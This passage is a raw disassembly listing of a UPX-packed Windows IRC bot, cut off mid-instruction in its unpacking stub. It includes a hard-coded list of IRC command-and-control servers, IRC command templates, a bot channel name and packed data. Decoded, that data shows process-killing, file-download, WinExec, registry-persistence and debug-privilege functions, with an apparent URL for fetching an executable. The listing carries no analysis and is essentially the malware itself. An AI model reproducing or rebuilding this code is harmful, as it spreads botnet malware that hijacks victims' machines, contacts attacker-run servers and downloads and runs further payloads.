<1>,0 dword_31505CF8 dd 206h, 2400h, 31415352h, 800h, 10001h, 0A495BDEFh, 0DD499F8Eh ; DATA XREF: sub_3150283F+3Ao dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch dd 749AC3F2h, 4D855620h, 0AD0FE1CCh, 691506D3h, 0A8FD8D37h dd 700B1698h, 45504FCEh, 324A3914h, 5C10E3EFh, 0DFBDD847h dd 371EBA84h, 8B817380h, 7D4A0DF5h, 2DFE92E0h, 0C699C9C5h dd 9C85E020h, 6A5068BDh, 8250B629h, 7F42C334h, 1C980811h dd 9CE7B7B2h, 3D77899Dh, 0A4D3971Ah, 0A58D5029h, 8D463A96h dd 1612E8FCh, 44AF10EBh, 0D0F84570h, 0B178966Ah, 0EB51439Fh dd 7086A827h, 0DE098A39h, 0C1A1C214h, 0BF167A53h, 611A85C4h dd 9829E70Fh, 8966209Eh, 0CB1FE53h, 0ECCA9407h, 0A11E75A3h dd 0B4E8F91Dh, 1A4ECBC5h, 69D7F0DBh, 8C1A8739h, 18C67B94h dd 3EB38213h, 0E0424BBFh, 8400EB67h, 0AA60B737h, 22D7D8B3h dd 7A650480h, 86FF4BA6h, 0F6458558h, 56EEF96Eh, 32002FC9h dd 0B7A63B4Ah, 0EBD3D87Ah aCont db 'cont',0 ; DATA XREF: sub_31502826+3o align 4 off_31505E14 dd offset aMoscowAdvokat_ ; DATA XREF: UPX0:315034C8r ; UPX0:3150351Ar ; "moscow-advokat.ru" dd offset aGraz_at_eu_und ; "graz.at.eu.undernet.org" dd offset aFlanders_be_eu ; "flanders.be.eu.undernet.org" dd offset aCaen_fr_eu_und ; "caen.fr.eu.undernet.org" dd offset aBrussels_be_eu ; "brussels.be.eu.undernet.org" dd offset aLosAngeles_ca_ ; "los-angeles.ca.us.undernet.org" dd offset aWashington_dc_ ; "washington.dc.us.undernet.org" dd offset aLondon_uk_eu_u ; "london.uk.eu.undernet.org" dd offset aLia_zanet_net ; "lia.zanet.net" dd offset aGaspode_zanet_ ; "gaspode.zanet.org.za" dd offset aDiemen_nl_eu_u ; "diemen.nl.eu.undernet.org" dd offset aLulea_se_eu_un ; "lulea.se.eu.undernet.org" dd offset aCoins_dal_net ; "coins.dal.net" dd offset aBroadway_ny_us ; "broadway.ny.us.dal.net" dd offset aOzbytes_dal_ne ; "ozbytes.dal.net" dd offset aVancouver_dal_ ; "vancouver.dal.net" dd offset aViking_dal_net ; "viking.dal.net" dd offset aCed_dal_net ; "ced.dal.net" dd offset aQis_md_us_dal_ ; "qis.md.us.dal.net" aQis_md_us_dal_ db 'qis.md.us.dal.net',0 ; DATA XREF: UPX0:31505E5Co align 4 aCed_dal_net db 'ced.dal.net',0 ; DATA XREF: UPX0:31505E58o aViking_dal_net db 'viking.dal.net',0 ; DATA XREF: UPX0:31505E54o align 10h aVancouver_dal_ db 'vancouver.dal.net',0 ; DATA XREF: UPX0:31505E50o align 4 aOzbytes_dal_ne db 'ozbytes.dal.net',0 ; DATA XREF: UPX0:31505E4Co aBroadway_ny_us db 'broadway.ny.us.dal.net',0 ; DATA XREF: UPX0:31505E48o align 4 aCoins_dal_net db 'coins.dal.net',0 ; DATA XREF: UPX0:31505E44o align 4 aLulea_se_eu_un db 'lulea.se.eu.undernet.org',0 ; DATA XREF: UPX0:31505E40o align 4 aDiemen_nl_eu_u db 'diemen.nl.eu.undernet.org',0 ; DATA XREF: UPX0:31505E3Co align 4 aGaspode_zanet_ db 'gaspode.zanet.org.za',0 ; DATA XREF: UPX0:31505E38o align 4 aLia_zanet_net db 'lia.zanet.net',0 ; DATA XREF: UPX0:31505E34o align 4 aLondon_uk_eu_u db 'london.uk.eu.undernet.org',0 ; DATA XREF: UPX0:31505E30o align 4 aWashington_dc_ db 'washington.dc.us.undernet.org',0 ; DATA XREF: UPX0:31505E2Co align 4 aLosAngeles_ca_ db 'los-angeles.ca.us.undernet.org',0 ; DATA XREF: UPX0:31505E28o align 4 aBrussels_be_eu db 'brussels.be.eu.undernet.org',0 ; DATA XREF: UPX0:31505E24o aCaen_fr_eu_und db 'caen.fr.eu.undernet.org',0 ; DATA XREF: UPX0:31505E20o aFlanders_be_eu db 'flanders.be.eu.undernet.org',0 ; DATA XREF: UPX0:31505E1Co aGraz_at_eu_und db 'graz.at.eu.undernet.org',0 ; DATA XREF: UPX0:31505E18o UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31506000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing aMoscowAdvokat_ db 'moscow-advokat.ru',0 ; DATA XREF: UPX0:off_31505E14o ; UPX1:31508401o align 4 aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31502CB7+1Co align 10h aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31502CB7+Co align 4 aUserS8S db 'USER %s 8 * :%s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+1C4o align 10h aAlready db 'already',0 ; DATA XREF: sub_31502DEC+133o aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+D9o ; sub_31502DEC+165o align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+9Co align 10h aPongS db 'PONG%s',0Dh,0Ah,0 ; DATA XREF: sub_3150302E+4Fo align 4 aPing db 'PING',0 ; DATA XREF: sub_3150302E+Co ; sub_315030B1:loc_31503153o align 4 a451 db '451',0 ; DATA XREF: sub_315030B1+8Eo aJoinS db 'JOIN %s',0Dh,0Ah,0 ; DATA XREF: sub_315030B1+16o align 4 aQuitS db 'QUIT %s',0Dh,0Ah,0 ; DATA XREF: sub_31503183+2Co align 10h aPrivmsgSS db 'PRIVMSG %s %s',0Dh,0Ah,0 ; DATA XREF: sub_315032FA+3Bo aTaty db '#taty',0 ; DATA XREF: UPX0:3150356Ao align 4 a13 db '13',0 ; DATA XREF: UPX0:31503460o align 4 a_: ; DATA XREF: UPX0:31503455o unicode 0, <_>,0 aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_31503608+13o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_31503722+2E8o align 4 aQ: ; DATA XREF: sub_31503722+2C3o unicode 0, <q>,0 aDD13SD db '%d,%d,13%s,%d',0 ; DATA XREF: sub_31503722+29Do align 10h aI: ; DATA XREF: sub_31503722+253o unicode 0, <i>,0 asc_31506124: ; DATA XREF: sub_31503722+23Ao unicode 0, <|>,0 aE: ; DATA XREF: sub_31503722+146o unicode 0, <e>,0 a1D db '-1,%d',0 ; DATA XREF: sub_31503722+78o align 4 dd 9 dup(0) dword_31506158 dd 0 ; sub_31501BA8+80w dword_3150615C dd 0 ; sub_31501BA8+2Dw ... dword_31506160 dd 0 ; sub_31501A62:loc_31501B10r ... dword_31506164 dd 68h ; UPX0:31501D40w ... dword_31506168 dd 0 ; sub_31501D96+33w dword_3150616C dd 8 dup(0) dword_3150618C dd 0 ; sub_31502277+20r dword_31506190 dd 31500000h ; UPX0:31501D25w dword_31506194 dd 0 ; sub_315021B0+53o ... dword_31506198 dd 0 ; UPX0:31502326w ... word_3150619C dw 0 ; DATA XREF: sub_315020C4+3Br ; sub_31502128:loc_31502189r ... align 10h dword_315061A0 dd 0 ; sub_315026C2+110w ... dword_315061A4 dd 0 ; UPX0:31503553w ... dword_315061A8 dd 0 ; sub_31503722+E8r ... dword_315061AC dd 8 dup(0) ; sub_31503722+Ao dword_315061CC dd 38Dh dup(0) dd 0C4h, 40h, 74736C01h, 706D6372h, 47010041h, 6F4C7465h dd 656C6163h, 6F666E49h, 53010041h, 75437465h, 6E657272h dd 72694474h, 6F746365h, 417972h, 69725701h, 69466574h dd 100656Ch, 53746547h, 65747379h, 6D69546Dh, 53010065h dd 65747379h, 6D69546Dh, 466F5465h, 54656C69h, 656D69h dd 72695601h, 6C617574h, 65657246h, 69560100h, 61757472h dd 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh, 6C694665h dd 6D614E65h, 1004165h, 7274736Ch, 69706D63h, 47010041h dd 79537465h, 6D657473h, 65726944h, 726F7463h, 1004179h dd 7274736Ch, 41746163h, 6F430100h, 69467970h, 41656Ch dd 6E695701h, 63657845h, 72430100h, 65746165h, 6C6F6F54h dd 706C6568h, 6E533233h, 68737061h, 100746Fh, 636F7250h dd 33737365h, 72694632h, 1007473h, 6D726554h, 74616E69h dd 6F725065h, 73736563h, 72500100h, 7365636Fh, 4E323373h dd 747865h, 74736C01h, 79706372h, 43010041h, 74616572h dd 65764565h, 41746Eh, 69615701h, 726F4674h, 676E6953h dd 624F656Ch, 7463656Ah, 65440100h, 6574656Ch, 656C6946h dd 47010041h, 614C7465h, 72457473h, 726F72h, 69784501h dd 6F725074h, 73736563h, 736C0100h, 656C7274h, 100416Eh dd 65656C53h, 6C010070h, 63727473h, 416E7970h, 65470100h dd 72754374h, 746E6572h, 636F7250h, 737365h, 74654701h dd 636F7250h, 72646441h, 737365h, 616F4C01h, 62694C64h dd 79726172h, 57010041h, 65746972h, 636F7250h, 4D737365h dd 726F6D65h, 43010079h, 65736F6Ch, 646E6148h, 100656Ch dd 6E65704Fh, 636F7250h, 737365h, 74654701h, 75646F4Dh dd 6148656Ch, 656C646Eh, 47010041h, 69547465h, 6F436B63h dd 746E75h, 65724301h, 4D657461h, 78657475h, 43010041h dd 74616572h, 72685465h, 646165h, 65724301h, 50657461h dd 65636F72h, 417373h, 74655301h, 6E657645h, 4F010074h dd 456E6570h, 746E6576h, 45010041h, 54746978h, 61657268h dd 49010064h, 7265746Eh, 6B636F6Ch, 6E496465h, 6D657263h dd 746E65h, 61655201h, 6C694664h, 47010065h, 69467465h dd 6953656Ch, 100657Ah, 61657243h, 69466574h, 41656Ch dd 0D100h, 0 dd 72430100h, 43747079h, 74616572h, 73614865h, 43010068h dd 74707972h, 68736148h, 61746144h, 72430100h, 56747079h dd 66697265h, 67695379h, 7574616Eh, 416572h, 79724301h dd 65447470h, 6F727473h, 73614879h, 43010068h, 74707972h dd 74736544h, 4B796F72h, 1007965h, 70797243h, 6C655274h dd 65736165h, 746E6F43h, 747865h, 79724301h, 63417470h dd 72697571h, 6E6F4365h, 74786574h, 43010041h, 74707972h dd 6F706D49h, 654B7472h, 52010079h, 72436765h, 65746165h dd 4579654Bh, 1004178h, 53676552h, 61567465h, 4565756Ch dd 1004178h, 51676552h, 79726575h, 756C6156h, 41784565h dd 65520100h, 65704F67h, 79654B6Eh, 417845h, 67655201h dd 656C6544h, 61566574h, 4165756Ch, 65520100h, 6F6C4367h dd 654B6573h, 41010079h, 74726F62h, 74737953h, 68536D65h dd 6F647475h, 416E77h, 0DE00h, 0F800h, 74610100h, 100696Fh dd 6E617461h, 69730100h, 6301006Eh, 100736Fh, 5F48455Fh dd 6C6F7270h, 100676Fh, 78435F5Fh, 61724678h, 6148656Dh dd 656C646Eh, 73010072h, 68637274h, 73010072h, 70637274h dd 73010079h, 61637274h, 5F010074h, 65637865h, 685F7470h dd 6C646E61h, 337265h, 72747301h, 727473h, 6E617201h, 73010064h dd 646E6172h, 656D0100h, 7970636Dh, 74730100h, 6E656C72h dd 656D0100h, 7465736Dh, 0E90000h, 13C0000h, 77010000h dd 69727073h, 4166746Eh, 65470100h, 726F4674h, 6F726765h dd 57646E75h, 6F646E69h, 46010077h, 57646E69h, 6F646E69h dd 1004177h, 57746547h, 6F646E69h, 72685477h, 50646165h dd 65636F72h, 64497373h, 0F40000h, 1500000h, 49010000h dd 7265746Eh, 4F74656Eh, 556E6570h, 416C72h, 746E4901h dd 656E7265h, 65704F74h, 100416Eh, 65746E49h, 74656E72h dd 64616552h, 656C6946h, 6E490100h, 6E726574h, 65477465h dd 6E6F4374h, 7463656Eh, 74536465h, 657461h, 10000h, 16400h dd 12FF00h, 0FF0008FFh, 2FF0073h, 0DFF00h, 0FF0001FFh dd 6FFF0039h, 0BFF00h, 0FF0034FFh, 0CFF0017h, 9FF00h, 0FF0004FFh dd 10FF0013h, 16FF00h, 3FFh, 0 dd 4550h, 2014Ch, 40D3275Dh, 2 dup(0) dd 10F00E0h, 6010Bh, 3400h, 1200h, 0 dd 1D18h, 1000h, 5000h, 31500000h, 1000h, 200h, 4, 0 dd 4, 0 dd 7000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 3B68h, 8Ch, 14h dup(0) dd 1000h, 1B0h, 6 dup(0) dd 7865742Eh, 74h, 3330h, 1000h, 3400h, 400h, 3 dup(0) dd 0E0040020h, 7461642Eh, 61h, 11CDh, 5000h, 1200h, 3800h dd 3 dup(0) dd 0C0000040h, 6000h, 3DA4h, 652Ch, 0C48BC800h, 0BC4B56DDh dd 8BE18B0Ch, 0C371406Ah, 23231C47h, 5182363h, 9F080C14h dd 4232323h, 8410FC00h, 7CF83A10h, 107C777Eh, 0E8B81078h dd 6EFBE9BBh, 0B8E6B56h, 0D01D0CECh, 163B40B8h, 27EFBAE9h dd 930520CCh, 1308E719h, 0CD180701h, 57850802h, 0F7C90B07h dd 2F2B0096h, 0BE4A0030h, 4EE0E2E7h, 41601F57h, 57D93758h dd 9ED0h, 443FFFBh, 746858EBh, 2F3A7074h, 3732312Fh, 0FF01302Eh dd 31BFFD91h, 3030383Ah, 652E652Fh, 0DF6578h, 697A6F4Dh dd 6D616C6Ch, 2FDBFFFFh, 5DDF2734h, 0B966C933h, 758D01F1h dd 8AFE8B05h, 7993C06h, 0FF8ADF46h, 302C06BFh, 88993446h dd 0EDE24707h, 0DAE80AEBh, 65622EFAh, 0FF6FFF67h, 93712EFBh dd 1201C999h, 0FD91BDFDh, 72C10716h, 0FD42AA68h, 10FDAA66h dd 0FBADD8BAh, 0A91C14F7h, 0F3C91A98h, 8608F198h, 10C57102h dd 0FFD9FD87h, 37CB5F90h, 1C965992h, 0E4143A78h, 0A7D7157h dd 0F6DF7D3Ah, 0F34571C9h, 8904F19Dh, 9C04F109h, 0CE91FEC7h dd 67B44011h, 10F0E3F3h, 0B20BD11Ch, 0F7FB1B59h, 0C99B6076h dd 14D90125h, 0CA17A204h, 0F9647F99h, 688D2B58h, 1AAE9161h dd 1D966661h, 0DADEDB11h, 50B22867h, 149900C8h, 265557DCh dd 0DBBDBF12h, 0C0A44E3Fh, 99491291h, 54F7EDh, 0CA3AC414h dd 0FBBB0FCBh, 1C3C71D9h, 21E424FFh, 0CDCDCF1Ah, 0F72C668Fh dd 8166D93Fh, 0B0FB133Fh, 0CDC383B8h, 64A85D12h, 0C96CDF3Bh dd 0AE251DCBh, 93FD0C24h, 485AFEC9h, 14C096A6h, 0A7294C1Ch dd 609CF3EBh, 0BA9767EFh, 0F43416EAh, 0DBF57126h, 0FFF77ECDh dd 0EF133BF9h, 376B4629h, 4766DE5Fh, 0B7AAA8ECh, 8519F0ABh dd 1FFFF90h, 0EDFFC5B7h, 0FDE9ECE9h, 0FCE1FCB7h, 0F6FFC999h dd 0F55BBE5Fh, 0F2E9FCFCh, 0FCF7EBFCh, 0D9ABAAF5h, 0AAF934C7h dd 9F25B459h, 2AFF97FDh, 0ACC9662Ah, 0B7819093h, 83639D90h dd 9271CDC9h, 3519BF30h, 0C2FBB083h, 95DC1451h, 2A91720Ah dd 0D2EEC871h, 0FFFFEDFFh, 80D512A5h, 0AA529AE1h, 2A8D146Fh dd 12B9C89Ah, 474A9A8Bh, 0AB9E5958h, 0A319DB9Bh, 6FFFFEDFh dd 0A26CEC20h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h, 1FBDC812h dd 0EB8D2E96h, 0FFE68584h, 9A85D812h, 99D125Ah, 0F8105A9Ah dd 0B725D599h, 49FFDDB7h, 0FEFD7F66h, 5AA98712h, 850295C2h dd 91048212h, 0A89BF35Ah, 0CFF7CB6Dh, 53FF855Dh, 8F72424Dh dd 1874485Dh, 0FE85C853h, 2006206h, 0FFFFF1ADh, 4E204350h dd 4F575445h, 50204B52h, 52474F52h, 31204D41h, 0FFFB17CDh dd 414CF6B1h, 0A024D4Eh, 646E6957h, 2073776Fh, 20726F66h dd 2DD60357h, 676B7F6Dh, 70756F72h, 611A330Eh, 5E234D27h dd 32E96C3Eh, 32322158h, 4E312E32h, 6F92054h, 2018DA6Bh dd 0A470323Ch, 50BB738Bh, 0A07192Bh, 5123FF0Ch, 7D8363h dd 140A1104h, 0BBD40520h, 0CABB5BE8h, 4B4C0069h, 505353h dd 0FB829756h, 8C91EDFh, 240057E0h, 64006Eh, 77006Fh, 0F6F63A73h dd 30749B62h, 398C0901h, 3233500h, 1D44B6E6h, 0DA00072Eh dd 644E7901h, 0DA2008ABh, 92649A87h, 26039F57h, 6D8360C8h dd 47234601h, 73FF4007h, 60F23h, 1F011006h, 0E0888A15h dd 0FF600048h, 4FE5FFh, 6A198144h, 49E4F27Ah, 30AF281Ch dd 67107425h, 214FE153h, 0DF5C44DFh, 4003075h, 2DAE6BAFh dd 5ABD075Ch, 8D615C08h, 4D75DC8Dh, 36072Eh, 30772E38h dd 0DB7BAF61h, 0EC00491Bh, 3B240043h, 2D63003Fh, 64CF201Fh dd 4DC08A2h, 0E41EC240h, 0FF16BFh, 0E00DEDEh, 19F1600h dd 37EF2602h, 28404261h, 8B110319h, 0B868DECBh, 0D374D96Ch dd 2A630070h, 0BE4296DBh, 9F256B9Ch, 75480E10h, 43D81DDh dd 5413541Bh, 0FB9F265Ah, 5963D6DCh, 0CBC75C22h, 5876545h dd 0F3483B55h, 10030B00h, 110B848h, 349FFFFBh, 286A0105h dd 0B10C3919h, 0A89B11D0h, 0D94FC000h, 655FF52Eh, 5D1FF85Fh dd 1CEB8A88h, 0E89F11C9h, 48102B3Ch, 9F25D160h, 0F40CEC8Bh dd 0CA060A3h, 790F200Ch, 0CB10CA0h, 4EFFBE00h, 880CA08Eh dd 90040h, 703ECh, 49E11EC1h, 4F401495h, 0BF40707Ch, 0B2297B22h dd 13430700h, 3FF09E79h, 138578h, 0E9A65BABh, 2FF81013h dd 273C635h, 230EFEFFh, 30C1D240h, 84083658h, 0E4F24388h dd 10B97DD3h, 0B801FFEEh, 0F2200C10h, 0AD793661h, 0F7F070Dh dd 0E59F25D8h, 70011815h, 90060F84h, 0F84790Fh, 2000F95h dd 0FC9E4D87h, 6C0F847Fh, 0C89A000Fh, 0A884AADEh, 0CA13436Fh dd 1F8C093Fh, 50586E69h, 3C725020h, 0C0A6DBh, 39014446h dd 0C93C6B32h, 123C844Fh, 41027515h, 7B220053h, 941C840Dh dd 0AFFF9B01h, 0C606EB1Ch, 73255C5Ch, 6370695Ch, 9F816624h dd 0ECFFF97Fh, 0E4FF071Ch, 44655300h, 67756265h, 6C697669h dd 41656765h, 0B266DB64h, 73756AFFh, 6B6F5474h, 73176E65h dd 75126F4Ch, 927F76FDh, 6C615670h, 17416575h, 6F28704Fh dd 2FFE0C63h, 347324B6h, 76646143h, 33697061h, 12E2AEE3h dd 6574757Fh, 13316D72h, 0BB036932h, 65A37F12h, 72545F15h dd 39577961h, 0EF72431Bh, 65DBEDDCh, 65521E61h, 54056F6Dh dd 56140C68h, 6E747269h, 75B6D6EDh, 5328415Ch, 520F7845h dd 5F466E72h, 4B35D67Ah, 4822F3F5h, 83505454h, 89712FDEh dd 5B322040h, 0D4B4F20h, 0DBFD010Ah, 6F4BFDADh, 2D02446Eh dd 7467044Ch, 25203A68h, 2961ED75h, 282F189Bh, 0F4B97954h dd 266B7DB6h, 696C70A7h, 15698563h, 0A32D782Fh, 0CB77EED8h dd 6D6F632Dh, 65CD7270h, 5BDF5764h, 0D4FF28h, 544547h dd 11640266h, 0DD2BFDA1h, 6D9573D7h, 0B1637673h, 6DA2DDD7h dd 65017765h, 5F320F08h, 0FDCCDCE6h, 34317517h, 507F703h dd 9A696E07h, 3132032Eh, 0D8133930h, 38B3937Bh, 2306781Fh dd 0C9BDC07h, 4F303132h, 7F7F7529h, 0BB2098FBh, 52455355h dd 4E084449h, 65849h, 48217B59h, 253AE8A1h, 0C5A7CD64h dd 53FFF2F6h, 5754464Fh, 5C455241h, 736F694Dh, 0DD5CC36Fh dd 0B783F0D6h, 7275435Ch, 0C8560972h, 0B55CFE73h, 52C3E142h dd 7953BC75h, 0F25290FDh, 0E7A1877Fh, 6664579Ah, 6E687361h dd 6473647Ah, 76D6126Ch, 77495313h, 5C573F61h, 0ED860A1h dd 528B396Ch, 0B44B0D57h, 39C23D6h, 667120F5h, 0F70E86EFh dd 76206769h, 38761BFDh, 9D326576h, 67B9B64Bh, 10532064h dd 0B81B6544h, 1421B237h, 1B17235Ch, 9B325C3Fh, 42004CABh dd 0AC91203Fh, 3D9F1A35h, 0B01EBF23h, 654AD42h, 69443792h dd 6DBB9E73h, 66EE7694h, 9C6D672Fh, 6C2FF62Ah, 632463C9h dd 7974690Ah, 6E614D20h, 58C5E91Eh, 31C91AB1h, 0C59DB48Ch dd 5234D376h, 80E4153h, 0FFFFEFBCh, 0A4C11BFFh, 0DD499F8Eh dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch dd 0EDFFFFFFh, 8C9AC3F2h, 0CC4D8556h, 0D3AD0FE1h, 37691506h dd 98A8FD8Dh, 0CE700B16h, 1445504Fh, 0F837FFFFh, 0EF324A39h dd 0D847AEE3h, 0BA84DFBDh, 7380371Eh, 0DF58B81h, 92E07D4Ah dd 0E8DFFFFFh, 0B8C52DFEh, 85E020C6h, 5068BD9Ch, 50B6296Ah dd 42C33482h, 9808117Fh, 0FFFFFFFFh, 0E7B7B21Ch, 77899D9Ch dd 0D3971A3Dh, 8D5029A4h, 463A96A5h, 12E8FC8Dh, 0AF10EB16h dd 0F8457044h, 0FFFFFFEAh, 78966AD0h dd 51439FB1h, 86A827EBh, 98A3970h, 0A1C214DEh, 167A53C1h dd 9785C4BFh, 0A0DFA378h, 9829E70Fh, 53899E9Eh, 940724FEh dd 0FFFFFFFFh, 75A3ECCAh, 0F91DA11Eh, 0CBC5B4E8h, 0F0DB1A4Eh dd 873969D7h, 7B948C1Ah, 821318C6h, 4BBF3EB3h, 0F02FFFFFh dd 0EB67E042h, 60B737B2h, 0D7D8B3AAh, 65048022h, 0FF4BA67Ah dd 45855886h, 0FC1BFFA6h, 0EEF96EF6h, 3290C956h, 0B7A63B4Ah dd 0EBD3D87Ah, 97EE4263h, 0F7041888h, 31505FE8h, 0A69A03CCh dd 98B49A69h, 2C3C5878h, 69B2CD34h, 0DC5EF814h, 34D3B4CCh dd 90A4D34Dh, 0B607480h, 7142E96Dh, 5B6D2E9Fh, 6CDC0575h dd 0A7685B24h, 0B700492Eh, 96B60D64h, 6BC52C2Dh, 611C67ADh dd 0DB01F06Eh, 2C7586D8h, 7A6F2F72h, 70DB7962h, 41D9ACBCh dd 0A4147262h, 0AD600C79h, 58796C25h, 0D6674A38h, 0CA6B46F1h dd 732E61B6h, 84277578h, 6EC73A36h, 3D2E1646h, 6D80B067h dd 2FCA468Eh, 51C6C28h, 6734BB7Bh, 116F701Ah, 13617A2Eh dd 0CF1B66C3h, 61FE3309h, 401A5F13h, 676F8E6Eh, 776B7543h dd 675DBD90h, 1F74D85Eh, 1FA56364h, 0FCA9EB59h, 2D736F6Ch dd 0A72E5861h, 6BADB220h, 0AB75E35Bh, 0BE62166Ch, 0B6BB253Dh dd 7266B92Fh, 4A616C66h, 0EEC09FEh, 61726733h, 74612E7Ah dd 6D0B8180h, 7736876Dh, 7DBBDA2Dh, 1EE5AE6Ah, 6362CB75h dd 0BF676621h, 7FDB0BEAh, 6D6C6B6Ah, 71706F6Eh, 77927452h dd 0DA7A7978h, 0F95FFE58h, 44434241h, 48474645h, 4E4B4A49h dd 7B5751FCh, 544058A1h, 5A59581Ah, 0F5ADB81Bh, 77A08152h dd 0B62A2038h, 2140E907h, 0FF8C6702h, 0F60C4BCBh, 4B43CA56h dd 26501320h, 0F66E9553h, 4E4F0B64h, 490B0A47h, 0FA5DAC3Fh dd 92353407h, 2F0C4F4Ah, 54495551h, 24816B6Fh, 477B561Ah dd 0B6E5F766h, 74231163h, 841779B5h, 0C0E0075Fh, 20A202CBh dd 0BED6F328h, 6203E85Dh, 34203B64h, 36204549h, 0B060915h dd 0B41EAC30h, 70164035h, 29EC5Fh, 371776Bh, 0CEBA2C61h dd 4D02E6B5h, 690F075Ch, 8127C03h, 2D6569B7h, 0A6C71331h dd 0C48A08BBh, 0FFEE4009h, 6C01FF97h, 63727473h, 4741706Dh dd 6F4C7465h, 656C6163h, 6F666E49h, 56715B0Fh, 44525394h dd 452E6309h, 797F14B7h, 65595715h, 588A4746h, 9E303483h dd 0BD9A6954h, 0E6DB997h, 206F540Bh, 0ED65A015h, 4146000Ch dd 3C42BF0Ch, 4D3F0DF6h, 2DAC646Fh, 0B016614Eh, 8E412D93h dd 7E5E4169h, 6F40AEFh, 4309DF1Fh, 1E79706Fh, 387BFEE4h dd 456E6993h, 81516578h, 0ED06FFF6h, 9A6C6F7Eh, 53323370h dd 7370616Eh, 19746F68h, 0A0CDADDDh, 723212D3h, 5540F73h dd 0C641AD73h, 0F6182C35h, 2180FB06h, 7478654Eh, 54727068h dd 7867CB6Ch, 0FF087645h, 538B4661h, 42B7B9B1h, 624F7BE4h dd 4414996Ah, 0A136796h, 4CB715CFh, 0CAC94561h, 263A15ADh dd 6378452Fh, 7B61DBB2h, 5C6E2354h, 65706506h, 5F092C97h dd 2E6E4711h, 0D8A06F12h, 64410B3Fh, 140F7264h, 7262694Ch dd 84B60C28h, 4D2B8961h, 8DC4625h, 5FAB1F67h, 100E4865h dd 9F874496h, 0C2E16CCBh, 701D166Ch, 476B63A2h, 6D61D12Dh dd 4DE57275h, 366C78DFh, 0C4F39289h, 45986A0Dh, 0E193198h dd 7B0E8162h, 31E91943h, 0DB639249h, 6BE48376h, 630A6465h dd 522D6D13h, 70C9785Dh, 45083A1Bh, 0C426657Ah, 3D5E8613h dd 5868D100h, 15EECDA1h, 1A747079h, 710C4B2h, 0A2FB6CDh dd 0E611244h, 0C3057BECh, 79666976h, 3CCA6746h, 0B7B016D5h dd 578F10A1h, 112C796Fh, 0BEC1866Dh, 1079654Bh, 651EB252h dd 178763F9h, 4114EF3Eh, 69757163h, 871A1672h, 8F494D0Dh dd 0B9B6745Ch, 0C13AF759h, 0EF0D9267h, 3B0E1041h, 3E0D2194h dd 90EC510Fh, 350AD6B0h, 98302511h, 2D0466C5h, 0E19E1021h dd 5FB5458Eh, 0F5696241h, 0C34D6853h, 0AF8B1446h, 0F8DE136Eh dd 3B77E5DDh, 5696F78h, 69736E61h, 0B6EF6304h, 736FCBF6h dd 5F48455Fh, 6744DC70h, 78435F0Bh, 98263878h, 0E74C6C4Ah dd 83936B81h, 768627Dh, 2A427970h, 9A15BB3Bh, 5FDDCFE2h dd 29332868h, 1CD7399Bh, 11727473h, 5B49060Dh, 6D6C31CCh dd 0AC0FBA36h, 0D9B6B774h, 3CE9946Ch, 7C737701h, 1966748Bh dd 5219A682h, 5639651Bh, 3AA29168h, 0BD8146Fh, 1B366331h dd 0C7290B21h, 5383B669h, 0F44F6449h, 0F6D83B50h, 35A78AE0h dd 11417355h, 5B01196Ch, 1B114E0Eh, 5D3706A6h, 77936EBBh dd 0C5D55753h, 525574A2h, 0B2CBA564h, 2125B2Ch, 0D027308h dd 0B2CB2C01h, 0B6F392Ch, 2CB21734h, 90CB2CBh, 54101304h dd 16CA00CFh, 46455057h, 2FA025F5h, 0D3275DB7h, 9ACF0340h dd 0F001FEDh, 6010B01h, 1312340Ch, 98D81D18h, 30E5017Bh dd 0DD0B3135h, 2C0092Ch, 700C076Bh, 25B99D81h, 710341Eh dd 0B258E58Ah, 3B680306h, 176C28Ch, 0B0647FC2h, 53581E01h dd 42EBA75h, 0C1903303h, 34360608h, 0C837C0C4h, 0E004F4EDh dd 0FB90642Eh, 271211CDh, 48586E0Ah, 0C03838h, 61800060h dd 33D205Bh, 1962Ch, 0 dd 0FF2000h, 2 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset aMoscowAdvokat_ ; "moscow-advokat.ru" lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31508422 ; --------------------------------------------------------------------------- align 8 loc_31508418: ; CODE XREF: UPX1:loc_31508429j mov al, [esi] inc esi mov [edi], al inc edi loc_3150841E: ; CODE XREF: UPX1:315084B6j ; UPX1:315084CDj add ebx, ebx jnz short loc_31508429 loc_31508422: ; CODE XREF: UPX1:31508410j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31508429: ; CODE XREF: UPX1:31508420j jb short loc_31508418 mov eax, 1 loc_31508430: ; CODE XREF: UPX1:3150843Fj ; UPX1:3150844Aj add ebx, ebx jnz short loc_3150843B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3150843B: ; CODE XREF: UPX1:31508432j adc eax, eax add ebx, ebx jnb short loc_31508430 jnz short loc_3150844C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31508430 loc_3150844C: ; CODE XREF: UPX1:31508441j xor ecx, ecx sub eax, 3 jb short loc_31508460 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_315084D2 mov ebp, eax loc_31508460: ; CODE XREF: UPX1:31508451j add ebx, ebx jnz short loc_3150846B mov 